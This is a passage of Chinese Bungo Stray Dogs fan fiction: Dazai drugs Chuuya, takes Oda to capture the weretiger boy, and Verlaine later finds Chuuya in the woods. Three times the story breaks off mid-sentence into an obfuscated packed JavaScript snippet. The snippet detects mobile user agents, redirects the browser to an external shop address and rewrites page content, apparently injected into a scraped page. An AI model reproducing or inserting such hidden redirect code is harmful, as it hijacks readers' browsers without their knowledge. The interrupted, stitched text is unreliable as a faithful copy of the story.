中也白了他一眼,没说话。他发现武装侦探社的各位这会都很消沉,似乎是刚经历了突袭,没缓过来。 而这个太宰治不知道又跟人达成了什么共识,急匆匆跑过来,但到目前为止一句正经话也没说。 他还头一次见,Mafia要跟人谈什么事是首领亲自出动的呢。 而且似乎他这会才意识到,自己从进来开始就感觉到的不对劲是什么。 “行,有太宰先生一句话就行,那我们可以继续了……” 良久,乱步戴上眼镜,目光却越过太宰治,落在中也身上。 16. 带你去个地方 “社长,他们真的可信吗?”太宰治和中也离开后,国木田抹了把汗,皱着眉问乱步。 “哎,别叫我社长哦,我只是代理”,乱步举起食指摇了摇,拉下眼镜看了他一眼:“但不管怎么说,太宰治亲自来了,虽然带了个重力使挂件。” “而且就目前的情况,我们也没有办法了啊……”说完,乱步叹了口气趴回桌面,一脸疲倦。 公会的突袭来得猝不及防,而且一天之内就把武装侦探社和港口Mafia都惊动了一遍,如此来势汹汹,恐怕目的没那么简单。 “最近有谁看到过那只白虎吗”,国木田无奈摇头,转过去问众人,但大家都表示没有线索。 近来横滨有一则传闻,说不止一次有人在夜间目击到有白虎出没,体积庞大,浑身散发出荧光,如同月下行走的恶鬼,令人不寒而栗。 而到了白天,这只月下兽便没了踪影。 武装侦探社怀疑这虎其实是另一位异能者,出于安全考虑,选择暗中追踪;但几乎跟他们同时,港口Mafia也盯上了这位神出鬼没的同行,再后来,被这只白虎吸引的异能组织又增加了。 欧洲的公会就是其中之一。 在正式偷袭之前,他们就曾经放出重金悬赏,扬言要带走这只人虎。光是这样也就罢了,根据这些天的观察,公会的目标很有可能不止人虎,而是整个横滨的异能组织。 “他们闹出的动静也不小了”,谷崎一边帮贤治收拾办公室一边附和:“我们得赶在他们之前弄清楚人虎……” 侦探社的众人纷纷点头,但大家心里都像压着石头般沉重。 先抛开眼前的损失,他们现在对于人虎了解也不多,如果说今天以前,没及时找到人虎的风险是港口Mafia又添一员猛将,他们战力更加悬殊;那么这次突袭以后,如若双方继续纠缠拉扯,最后的获益者只会是公会。 “福泽社长就是因为''书''才出差消失的,跟公会的最终目的也有关吧。” “是啊,隔壁那里的首领好像也是,都追到欧洲去了……这才让这么个阴暗青年暂时接任……”国木田想起太宰往他手里塞东西的样子,没好气一笑。 “所以只能合作咯”,乱步叹了口气,而后闪到一边观望众人收拾:“没事的,我相信太宰君还是拎的清的。” “他要是真像你说的拎的清,今天就不会再带一个人过来,以为我们不认得Mafia战力天花板吗?” “哎,是嘛……”乱步翘起了腿,一前一后晃着办公室唯一还活着的椅子,仰头看着天花板:“但你们没有觉得,太宰君有点变了吗……” 国木田疑惑,还没来得及细问,办公室的门又被猛猛推开,直美气喘吁吁扶住门框,看上去刚奔过来。谷崎还没来得及上前关心,她就顶着干涩的嗓子断断续续地喊道: “公会……给……给侦探社发通讯了……” 中也和太宰治下楼的时候,天已经快黑了,橘红的夕阳光把横滨的天空涂成了渐变的绚烂。 太宰治眯了眯眼,目光在夕阳和中也飘在风中的橘色发丝间流连,而后默不作声地看着那人开门,坐进去,熟门熟路。 “怎么不说话,刚才首领的谈判不好吗?” 车里,中也把头靠在玻璃上,眼里映着渐暗的晚霞,陷入了沉思。 这会中岛敦还没有加入侦探社,但是太宰治还在港口Mafia,到底有什么样的契机能让中岛敦那小子去侦探社?加之公会搅局,mimic的问题悬而未决,中也有一种自己以前经历的惊心动魄即将卷土重来的预感,还是堆在一起来的那种。 而且刚才他听下来,他觉得太宰治也有把中岛敦带回港口Mafia的想法。这家伙擅长操纵人心,做到这点应该不难,只不过这样一来,这两边还能持平吗?不安分的人会揪住这一点,弄出更大的动静吗? 中也眼里不断飘过横滨的晚景,这座他守护了这么多年的城市,又要看着她经历一遍洗礼,真是不好受啊。 “……没有,首领做什么都是对的。”中也回过神,轻轻笑了一下。 “哼,要不说中也你是我的狗呢,你的表情都出卖你了。”太宰治控制着方向,笑着接话。 “开你的车吧,死青花鱼。” “中也,整个Mafia也只有你敢这么对老大说话哦”,太宰治尾音拖得很长,漫不经心:“不过这个点都下班了吧,我该把你放在哪里好呢?” “废话啊,你不回总部吗,把我放在总部就行。” “我其实一直很好奇,重力使怎么就对四个轮子的交通工具感兴趣,你自由行动不是更快?” “还不是因为你啊混蛋,动不动就要殉情还是干嘛,把自己玩死了Mafia怎么办?”中也揉了揉太阳穴,一不小心一吐为快了。 他身旁,太宰治勾了勾唇,语气有些得意:“终于说出来了啊,中也就是担心我,对吧?” “欸……欸?!你在乱叫什么?” “狡辩也没用,反正你上次不是这么说的”,太宰治把车窗摇下来,放进一缕凉爽的晚风: “不过就算中也再怎么表示忠心,我也不会让你从HR上下来的哦……” “无所谓。”中也懒得掰扯,干脆摆摆手不听了。他自诩对这人的把戏已经见怪不怪,管他二十八岁还是十八岁,他总会有办法的。 反正自己家孩子叛逆,肯定是得管的,要他看着另一个世界的太宰治胡来而自己袖手旁观,绝对做不到。 “所以就打算一直跟着我?”太宰治换了个方向,瞥了眼后视镜,接着问。 “对,就跟着你,跟的就是你”,中也咬牙切齿:“你能把我……等等,你往哪开呢死青花鱼!” 中也说了一半才发现不对劲,这方向也不是去总部啊,这小子开到哪去了? “我又没说直接回总部啊”,太宰治笑了: “这就是单细胞生物选择交通工具不带脑子的后果哦。” “坐着吧,带你去个地方。” 中也无语地扒着车窗,很快就接受了现实:“所以好歹告诉我去哪?” “墓地。”太宰治异常平静。 “什么?!”中也意识有一瞬间的空白。这小子要去墓地?是想把自己留在那还是把他留在那…… 太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375163|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宰治按住中也险些被风吹跑的帽子,为这人的反应失笑。 “你去给谁扫墓?” “你觉得我这样子是去扫墓吗?”太宰治反问,顺手把人摁回来。 中也重新坐好,一时间没有了往下问的欲望。 车子驶入郊区,横滨没入黑夜。 “怎么样,环境还不错吧?”太宰治啪一下关上车门,走了两步就在草地上躺了下来,四肢舒展。 中也跟着下了车,却没发现有什么墓碑,四周也都是草木,没那么阴森吓人。 “……不是说墓地吗?” “对啊,墓地,我留给以后的太宰治的……墓地。” 太宰撑起半个身子朝中也望过去,鸢色的眸子在月光下亮得很透彻。 “……什么?你给老子再说一遍?” 中也从震惊转为愤怒,到最后近乎咬牙切齿。他三两步上前,揪住太宰治的衣领,拳头眼看着就要挥上去,却在和那眼睛交汇的一瞬松了劲。 少年的眼神恹恹的,一副无所谓的样子。 “有什么问题吗,反正都是要死的嘛,中也看淡一点啦”,太宰治语气很无辜,就这么瞪着他,一点也不害怕中也突然的情绪上涌。 但拳头最终还是落在了太宰治腹部,力道控制得没有那么好,把人捅得一声闷哼。 “森先生是选了一个什么样的废物接任啊。”中也转转手腕,在太宰治身边坐下了。 太宰治没有否认,而是举起缠满绷带的手,对着黑漆漆的夜空:“你知道吗,当时森先生还说要你当我的护卫呢,被我拒绝了。” 大晚上的煽什么情,又是看墓地又是回忆往事,这样还不如大大方方地寻死觅活呢。中也撇撇嘴,没好气地一哼。 “我说,中也反正迟早会是我的狗,不需要麻烦森先生下令。” “……” “所以,中也明白我的意思吗?”太宰治转头,微微一笑。 坏了,这个表情过于正常,很是奇怪。中也张了张口,不知道怎么回答。 “什么呀,不明白吗?我以为中也你会懂呢”,太宰治缓缓起身,朝中也伸出手,示意他也站起来。 “对,握手。” 中也刚拉住太宰治的手,顺着他站起,就冷不丁碰上这么一句,一时间白眼都快翻到天上去了。 这是一到晚上激发第二人格了吗,幼不幼稚。 但太宰治没有松开中也的手,反倒转过身向前一步:“我的意思是,中也你啊……” 中也满脸疑惑地盯着他的眼睛,没注意这人另一只手在口袋里上下摸索。 “你啊,有时候真容易相信别人。” 脖颈出传来一丝细密的疼痛,中也还没来得及开口,意识就逐渐模糊起来。 太宰治冷着脸松手,一把扔开手中的针管,看着人倒下去后还忍不住做了个鬼脸。 这片郊区可是太宰治精心挑选的迷宫,加上药效,在他把事办完之前,这家伙应该都不会跟上了。 黑色的风衣在月光下缓缓移动,逐渐出了林子。 “中也啊,我不想让你管的事,少管点……” 17. 一个夜晚 “等了你好久。” 街角的路灯眨巴几下,光源稳定后照出织田作倚在墙上的轮廓,拖出长长的影子。 夜深了,这条巷子口少有人走过,织田作就靠在墙边闭目养神,察觉到动静后才抬了抬眼皮,睨了一眼路灯下颀长的身影,淡淡开口。 他深吸一口气,缓缓起身,也没回头便直接往巷子深处走去,仿佛知道那人过会就会跟过来。 “欸,抱歉抱歉,但毕竟我不会飞”,灯下传来低低的笑声,一道影子逐渐追上了织田作的,和他并肩: “真是累死了,跟那帮侦探讲了那么久的话。” 太宰治双手插兜,披在肩上的风衣随着脚步轻晃,笑容还挂在脸上。 “嗯,然后呢,你还真把重力使一个人留在那了?”织田作低着头继续走,顺着太宰治的话问道。 “不然,中也这家伙最近跟装了雷达一样啊,甩都甩不掉呢……我还有事,不能让他跟着。” “可是怎么感觉,你还挺受用的?”织田作摇摇头,轻声笑了一下,快了一步向前,踢走太宰治即将遇到的一个石块。 太宰治斜了斜眼睛看着身旁的男人,路灯和月光交杂,把他脸上的疲倦衬得一览无遗。 “瞎说……他不懂就算了,你也在这堵我啊。” “哦?你希望我怎么懂呢?” 太宰治笑着抬眼,却突然瞧见远处的巷口晃过一个低低小小的身影,不禁挑了挑眉。他停住了。 “快走,从这里……” “欸?”织田作还没反应过来,就被太宰治一把揽住肩膀,塞进了右侧拐角的另一个街巷。 “别问,快走就是了。” …… “接下来呢,我们怎么办?”织田作余光瞥了眼太宰治,小声问道。 太宰治眉头微皱,目光专注向下,说话声音有些模糊:“先等会说这个吧,我们唔啊啊……” 突然,不知道受了什么刺激,太宰治猛地放下手中的东西,抄起手边的水杯就灌了下去,额角出了一层汗。 “咻……辣死我了织田作。” 织田作挑眉看了眼空了的碟子和挂着水珠的玻璃杯,无奈叹了口气。 要是知道堂堂港口Mafia的首领大半夜甩开部下,拽着他绕了好几条巷子,只是为了来这里吃一顿蟹肉夜宵…… 而且这人一开始约他出来的理由是,谈一谈Mafia近来发生的“正事”。 “呼——”太宰治舒服地深吸一口气,又要了杯酒:“现在可以谈正事啦织田作。” “我在听。” 太宰治双手交叉撑住下巴,跟织田作讲了两次爆炸以及准备和武装侦探社联手的事,织田作听得很认真,但眉头越皱越紧。 “那赶走公会以后呢,人虎怎么办?还是说你准备在这之前行动?” 太宰治一下一下戳着酒杯里的冰,沉吟了会:“我也不知道哦……对了织田作,纪德最近没找你麻烦吧。” “没有。” “但是mimic那总归不放心啊,你说呢,织田作?” “那你准备怎么办?” “从安吾入手咯”,太宰治抿了口酒:“现在几点了?” 织田作闻言把表递过去。太宰治瞥了一眼,便把酒一饮而尽: “走吧,差不多到时间了。” “嗯?” 太宰治起身,拍了下织田作的肩:“邀请你跟我度过这夜晚的后半程,不过可能有点危险哦,感兴趣吗织田作?” 估计又是什么麻烦事吧,织田作心想。自己跟着倒是没事,但要是被中也知道他搞出什么危险的后果……那一定很有意思。 “乐意之至,太宰先生。” 横滨的夜总是很静。破旧的厂房里,月光无遮无拦地洒进来,太宰治和织田作一前一后走进去,脚步声在空阔的房子里反复回想。 “在哪呢……哦,在这啊,是睡着了吗?”太宰治轻手轻脚踱步了一周,终于在一堆集装箱的背后,发现了一个躺在角落的少年。 少年衣着破败,面容憔悴,瘦削的四肢紧紧抱在胸前,仿佛这样能让自己暖和一点。但即便是闭着眼,他的脸上仍旧写满了惊惧。 “我听说这一带有个小孩一直在流浪,说的应该就是他吧。”太宰治转头看了眼织田作,像是在确认,但对方只是微微点了点头,面不改色。 月光愈发明亮,透过屋顶的豁口成片倾泻下来。太宰治一脚踏在月光里,一脚落在集装箱的阴影下,似乎在纠结要不要现在就叫醒这个孩子。 “睡在这太冷了……织田作,你那里还有地方吗,要不要……” 太宰治话音未落,织田作突然面露惊惧,立马向前冲他扑过去,抱住他的肩膀,脚底旋了几圈把人护到一边。而几乎是同时,一个木箱自由落体,啪一下炸开在了太宰治刚才站的地方,拖出一串刺耳的回音。 那个少年醒了。 “欸,这是……”他一睁眼就看见了太宰治二人,但眼神在瞥见木箱的一瞬间便充满了恐惧。 “啊,别害怕,我们是……”太宰治丝滑转身,用自己觉得很温柔的语气冲少年笑了下。 少年既惊恐又疑惑,他瑟缩着起身,但没有任何靠近的意思。 月光漫溢,逐渐包裹了少年。 “如果你无家可归,这位叔叔可以先收留你哦,放心他不是什么坏人……”太宰治继续说,但少年一言不发,冷漠地看过去。 “啧,这不说话了怎么办呢?”太宰治叹了口气抬头看了眼月亮,却看见屋顶的一角泛出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375164|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡绿色的光,还有两道人影。 “不好了呢,被发现了。”太宰治一笑,眼睁睁看着泛着绿光的人影一脚踩在岌岌可危的房板上,一下就踩断了。 木板飞速落下来少年闪避不及,被划伤了手臂,温热的血一丝一丝地渗出来,但他像没知觉似的,只伸出手抹了一下。 “哎织田作你看,他还挺淡定。”太宰治转头,露出一个比刚才更没心没肺的笑,丝毫没注意身后的变化。 而织田作双唇紧抿,一声不吭地把太宰治的头转回去,这位首领顿时收敛了笑意。 “啊,不太妙呢。” 那里早就没了什么少年,而是多了一只浑身泛光的白虎,尖牙利齿,眼神凶恶。 “知道我为什么让你来了吧,织田作?” “嗯。” 白虎突然抬起前爪,朝二人扑过来,太宰治一把推开织田作,两人朝相反的方向奔去,让它直接撞在了成堆的集装箱上。 残骸飞溅,太宰治趁机上前,想要触碰那虎,却被织田作叫停。 “后面!” 太宰治会意,他眯了眯眼却没有回头,而是径直勾起脚朝身后一踢。霎时间,一本看上去像小说书的东西在半空划出了一道弧线,方向直指刚刚起身的白虎,那虎仰头,将书吞入口中,撕得粉碎。 “可惜了啊,坡。” “没事,再写一个就好了。有个能提前预测战况的异能者真是讨厌。”房顶上,两道人影窃窃私语,一边关注着底下的战况。 “算着时间也差不多了,先别写了吧”,一只手突然按住了准备释放异能的小说家,绿色的纹路在那手臂上缓缓流动。 他们站的高,发现武装侦探社的人这会也赶了过来,就围在工厂附近,和他们一样在默默观战。 那个被称为坡的青年撩了撩刘海,目光扎进人群搜索了一番,若有所思地点点头:“那我们可以走了吧?” “对,接下来的事就留给他们好了。不过,我们可以再帮他们一把。” 说完,这人掏出一张支票,绿色的纹路加深,他单手拎起屋顶的废弃重物,狠狠朝底下丢出去。 “反正是废弃工厂,没人看得出来……走啦坡,带好你的浣熊。” 爱伦·坡点头,跟上那人的脚步,却还是忍不住朝武装侦探社那看了一眼。只因他注意到有个戴着侦探帽家伙,他跟别人好像不一样。 “弗朗西斯,我对他挺感兴趣的,以后能找他玩吗?” “哈?那个侦探吗?算了,随你便吧……” 金属坠地的瞬间,两道黑影消失在夜幕中,悄无声息。 郊外的风很冷,中也捧着发涨的脑袋慢慢撑起身子,用力眨了眨眼。他模糊的视线里,一个高大的人影渐渐浮现,正离他越来越近。 18. 从工厂到办公室 “嘶……”中也在月光下缓缓睁开眼,最先传来的是颈侧的微微胀痛。 他捂着脖子撑起身,视野模糊一片,但可以察觉到自己还身处那片树林,而太宰治的车还好好地停在那。 “混蛋啊……”中也并指揉揉被扎的地方,眉头紧拧,想了半天也没帮太宰治想出一个合理的,可以把自己偷袭之后留在这的理由。他这次真的有点生气了。 他的视野还没完全清晰,但一阵脚步声由远及近,随之而来的是一个高大的人影,在寂静的树林里显得很突兀。 “可恶可恶,还来”,中也低低哼了一声,对着那模糊的人影准备切换出重力,可那影子靠近的速度越来越快,甚至他之前做出了反应。 “中也,真是你啊?” “哈?” 魏尔伦的声音。 “我去你怎么了中也,我的重力使弟弟怎么在这儿睡着了啊,很容易着凉的知不知道!” 魏尔伦的气息骤然靠近,伴随着衣摆摩擦杂草的声音,他一个滑跪后半蹲在地上,把中也拎起来狠狠摇了摇,满是着急: “快说,是谁打败了你!哥哥去打败他!” “啊……啊啊别晃了”,中也好不容易醒了几分,被魏尔伦这么一抡有些意识出窍: “太……太宰……治……” “啊”,魏尔伦顿住了,抓着中也的手松了几分:“你跟首领约架了啊,那这……没事,改天我来想办法整整他!” “不是了啦,魏尔伦你先等等”,中也拿开魏尔伦贴在自己额头上的手,目光露出些嫌恶: “是太宰治那个混蛋暗算我啊,自己不知道干嘛去了,这会也不知道活没活着。” 听到中也说自己是被暗算,看样子也没受伤,魏尔伦松了口气,架着中也让人站起来,又拍拍他的裤子和衣服。 “这么大人了,还让我操心啊。” “什么鬼,我什么时候需要你操心?”中也疑惑。 魏尔伦掏出手机划拉几下,全是中也的未接:“你跟太宰治出去那么久,打电话还不接,能不担心?” “……喂,矫情什么啊,恶心死了。”中也愣了一下,撇撇嘴转身朝太宰治的车走去:“上车说吧,这会太晚了……你知不知道怎么出去?” 魏尔伦刚准备说你人还怪好的,别人把车给你你还真开回去,就看见中也在胸前口袋里摸索了一阵,掏出一串车钥匙。 是怎么做到这么有默契的? 看着中也晃晃悠悠的身影,魏尔伦无奈摇头,起身把人塞到副驾驶:“让开让开,我来开。” 回去的路上,中也忍不住问魏尔伦为什么这么担心,自己晚归甚至不回又不是一次两次。但魏尔伦只是笑笑,没有特地解释。 “中也,你可是我弟弟,对我来说很重要的……即便你现在是另一个世界的中也,那也还是我弟弟,横滨的未来可不能没有你哦。” “咦……”中也把自己抱紧了些,四舍五入地听进了这番话。 太宰治找的地方非常偏,得亏魏尔伦熟悉点路线,要是中也自己来,就算是飞的,也不一定能绕得出去。 这一来回折腾已经过了很久,夜色渐退,黎明将近,天边泛起薄薄的一层光。 到了总部,魏尔伦把车一停,问清楚中也的去向,走之前还不忘把他的手机拿过来倒腾了一番。 “你马上就在总部休息了对吧,你手机密码是什么?” “对,我就去那家伙的办公室等着他,看他想干嘛。话说你拿我手机搞什么?” “真是,难怪会被暗算”,魏尔伦瞥了他一眼:“太宰治不仅给你删了号码,还给你退了港口Mafia的好多权限,我今天都定位不到你。” 一顿操作完,魏尔伦把手机扔给中也,自己扬长而去。中也在车上坐了一会才下车,想着待会该怎么用重力扳倒太宰治办公室的锁,但他突然就联想到另外一件事。 “不对啊,那小子怎么知道我手机密码的?” 广津柳浪有早起锻炼的好习惯,这天他醒的早,便跑去总部后面的空地撞树,好巧不巧就看见太宰治的车咻一下飞过来。 早晨有雾,魏尔伦飘走的时候他没注意,但中也的扎眼的橘发让他眼前一亮。然后他就看见,中也自己抛着车钥匙下了车,满脸疲态,往直通太宰治办公室的楼梯走了过去。 咔一声,腰部顶上树干,广津柳浪痛得差点喊了出来。 “老夫大意了啊大意了,还是不能走神……”他一边扶着腰感叹,一边估摸着是自己慢慢走回去还是打电话把立原道造摇过来,眼神还跟着那个重力使。 “中也真是尽心尽力啊,森先生要是知道自己最喜欢的部下被照顾得这么好,一定很欣慰……” 月亮还挂在天空的时候,工厂里的对峙还没结束。白虎几乎失去理智,除了咆哮就是飞扑,太宰治灵活躲闪,织田作换了几个地方后感觉没自己事了,便倚靠在墙角观战。 “太宰啊,差不多就行了吧,消食也要有个限度的。” “知道了知道了”,太宰治蹬了一下集装箱,借力腾空,落在白虎身后,等那庞然大物扭头对准自己时,他轻蔑一笑,手一抬,对上白虎扇过来的巴掌:“还要跟我击掌吗?” 霎时间,白光炫目,虎身逐渐消散,那个瘦削的少年又出现了。太宰治微笑着捞过少年,防止他跌下去,同时眼神示意织田作快过来: “别站着啦,我没有抱男人的习惯。” “哇塞,这就是人间失格嘛……”工厂外的灌木丛,贤治忍不住再次惊叹。 “贤治小声点啦”,国木田提醒,转头看向乱步:“怎么样,我们出不出面?” 乱步眯了眯眼,摇头:“不用了,太宰治应该会让织田作先收养他吧,我们约定在先,他不会先把那孩子带去Mafia的。” 既然乱步都这么说了,国木田便不再担心,继续静观其变。 “你打算拿这小子怎么办?”织田作接过少年,问道。 “战斗力还可以啊他,要不就直接带回总部?”太宰治拍拍手,挑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375165|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉回应。见织田作面色为难,才耸了耸肩: “行吧,就先交给你好了,幸介他们应该会很高兴……我是守信的人。” 望着天边一点点泛白,太宰治叹了口气转身:“走啦,该回去了。今晚辛苦了,织田作。” 走出工厂的时候,太宰治才想起来自己车还在那片林子里。 “烦死了,这儿离我的办公室好远的……织田作送送我呗……哎别走啊!” 被织田作赶下车后,太宰治径直回了办公室,见到被谋害的门锁却没有丝毫震惊。他板着脸走进去,就看见中也坐在他的位置上,头枕在一边,已经眯着了。 他毫不在意的把人带椅子挪到一边,自己脱了外套,解开抽屉的锁开始翻阅资料,顺便烧了壶水。 水开的时候,门被敲响了,坂口安吾带着很重的黑眼圈来找他了。 “锁怎么了。”安吾一脸平淡,把一堆资料搁在太宰治桌上后就去拿热水冲咖啡。 “那一罐过期了”,太宰治头也不抬,抄起资料翻了起来,里面都是mimic最近的活动轨迹和内部的一些信息。 坂口安吾没能喝上咖啡,有些蔫蔫的:“你还能再健康点吗?” 太宰治不置可否:“你这卧底做得挺不错啊,消息挺全。” 坂口安吾哼了一声,眼神扫视了一圈,不禁皱了皱眉,但还是没有吭声。 “那安吾啊”,太宰笑了一下,扔下这堆纸:“你帮我看看,我们Mafia有没有什么不对的人和事呢?” “啊,你在说什么啊”,坂口安吾疑惑:“Mafia有卧底啊?” “你说,侦探社的人会蠢到公会给了他们消息,说人虎在什么地方,他们就真的倾巢而出吗?”太宰治理了理绷带,语气漫不经心。 他早就注意到了,工厂外不止公会的人,还有武装侦探社的各位。按道理他们不会来,因为公会不可信,最多派一两个盯梢,而就算这样公会的目的也达到了,就是让他们彼此怀疑。 但一起来,就说明他们怕的是别的,是什么更严重的,比如自己会杀了人虎之类的…… 在总部,他的行踪对于一些高层来说也不是秘密,这么一来,范围可以缩小很多呢。 安吾听后若有所思,刚准备回话就被旁边的一声闷响惊得差点打翻了水。不远处,中也重重翻了个身,太宰治的椅子是可旋转的,这会正以奇怪的姿势撞在了一旁的位置上。 奇迹般的是,中也这都没醒,也不知道受了什么累。 “我早就想问了,你的办公室什么时候能进人了,还是睡着的”,坂口安吾忍不了了,吐槽道:“嘴上说是个HR,说什么总部权限分级,就不怕他把我们刚才的对话听过去?” “冷静点安吾”,太宰治摆摆手:“他听到了也不懂。我的办公室的确闲人免进,但他是单细胞生物……” “是”,安吾一声冷笑:“但是我不瞎,这是你的办公椅吧!” “他身上盖着的,是你的风衣吧,还是一件刚洗过的……”